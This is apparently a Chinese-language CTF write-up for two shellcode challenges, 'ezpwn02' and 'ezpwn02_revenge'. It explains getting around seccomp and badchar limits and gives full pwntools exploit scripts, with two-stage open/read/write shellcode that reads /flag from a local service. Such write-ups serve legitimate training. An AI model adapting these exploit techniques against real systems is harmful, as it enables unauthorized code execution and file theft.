2026moectf

ezpwn02_revenge

image-20260925102829672

image-20260926094518902

同时开启 seccomp,只允许:

1
read / write / openat / exit

所以不能 execve("/bin/sh"),只能用 ORW 读 /flag。

本题不能直接用:

1
2
3
xor eax, eax
mov dl, 0xff
syscall

因为执行 shellcode 前调用了 puts("code accepted"),寄存器不再稳定保存 read(0, buf, 7) 的参数。

正确做法是第一阶段修改返回地址,跳回程序已有的 read 调用位置,让程序自己再读一次更长的 shellcode。

Stage1

1
2
3
mov dl, 0xff
mov byte ptr [rsp], 0xc1
ret

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote('127.0.0.1', 57055)

stage1 = asm('''
mov dl, 0xff
mov byte ptr [rsp], 0xc1
ret
''')

assert len(stage1) == 7

stage2 = asm('''
mov rax, 257
mov rdi, -100
xor rdx, rdx
xor r10, r10

push rdx
mov rbx, 0x67616c662f
push rbx
mov rsi, rsp
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall

mov rdx, rax
mov rdi, 1
mov rax, 1
syscall
''')

p.recvuntil(b'> ')
p.send(stage1)
sleep(0.2)
p.send(stage2)

p.interactive()

ezpwn02

image-20260927114009131

程序通过 mmap 申请一块 RWX 内存:

1
2
3
4
mov     edx, 7
mov esi, 1000h
call mmap
mov rbx, rax

mmap 的返回地址保存在 rbx 中,因此:

1
rbx = shellcode_base

程序随后把 stage1 读入这块内存,并检查 badchar:

1
badchars: 00 0a 20 2f 66 6c 61 67

因此 stage1 不能包含:

1
\x00 \x0a \x20 \x2f \x66 \x6c \x61 \x67

同时程序开启 seccomp,只允许:

1
read / write / openat / exit

所以不能使用 execve("/bin/sh"),需要通过 openat + read + write 读取 flag。

利用思路

程序执行 shellcode 前有两条关键指令:

1
2
mov     rdi, rbx
call rbx

由于:

1
rbx = shellcode_base

所以进入 stage1 时:

1
2
rdi = shellcode_base
rip = shellcode_base

也就是说,程序在跳转到 shellcode 前,把 shellcode 基地址作为第一个参数传给了 stage1。

因此 stage1 可以通过:

1
lea rsi, [rdi+0x40]

得到第二阶段 shellcode 的存放地址:

1
rsi = shellcode_base + 0x40

由于 stage1 有长度和 badchar 限制,所以采用二阶段 shellcode:

1
2
3
4
5
6
7
8
stage1:
read(0, shellcode_base + 0x40, 0xff)
jmp shellcode_base + 0x40

stage2:
openat(AT_FDCWD, "/flag", 0, 0)
read(fd, rsp, 0x100)
write(1, rsp, n)

stage1 汇编如下:

1
2
3
4
5
6
7
lea rsi, [rdi+0x40]
xor edi, edi
xor eax, eax
xor edx, edx
mov dl, 0xff
syscall
jmp rsi

等价于:

1
2
read(0, shellcode_base + 0x40, 0xff);
goto shellcode_base + 0x40;

由于 badchar 只检查 stage1,不检查 stage2,因此 stage2 中可以直接使用 /flag 字符串。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

#io = process("./chall")
io = remote("127.0.0.1", 52922)

stage1 = asm("""
lea rsi, [rdi+0x40]
xor edi, edi
xor eax, eax
xor edx, edx
mov dl, 0xff
syscall
jmp rsi
""")

stage2 = asm("""
mov rax, 257
mov rdi, -100
xor rdx, rdx
xor r10, r10

push rdx
mov rbx, 0x67616c662f
push rbx
mov rsi, rsp
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall

mov rdx, rax
mov rdi, 1
mov rax, 1
syscall
""")

payload = p32(len(stage1)) + stage1 + stage2

io.send(payload)
io.interactive()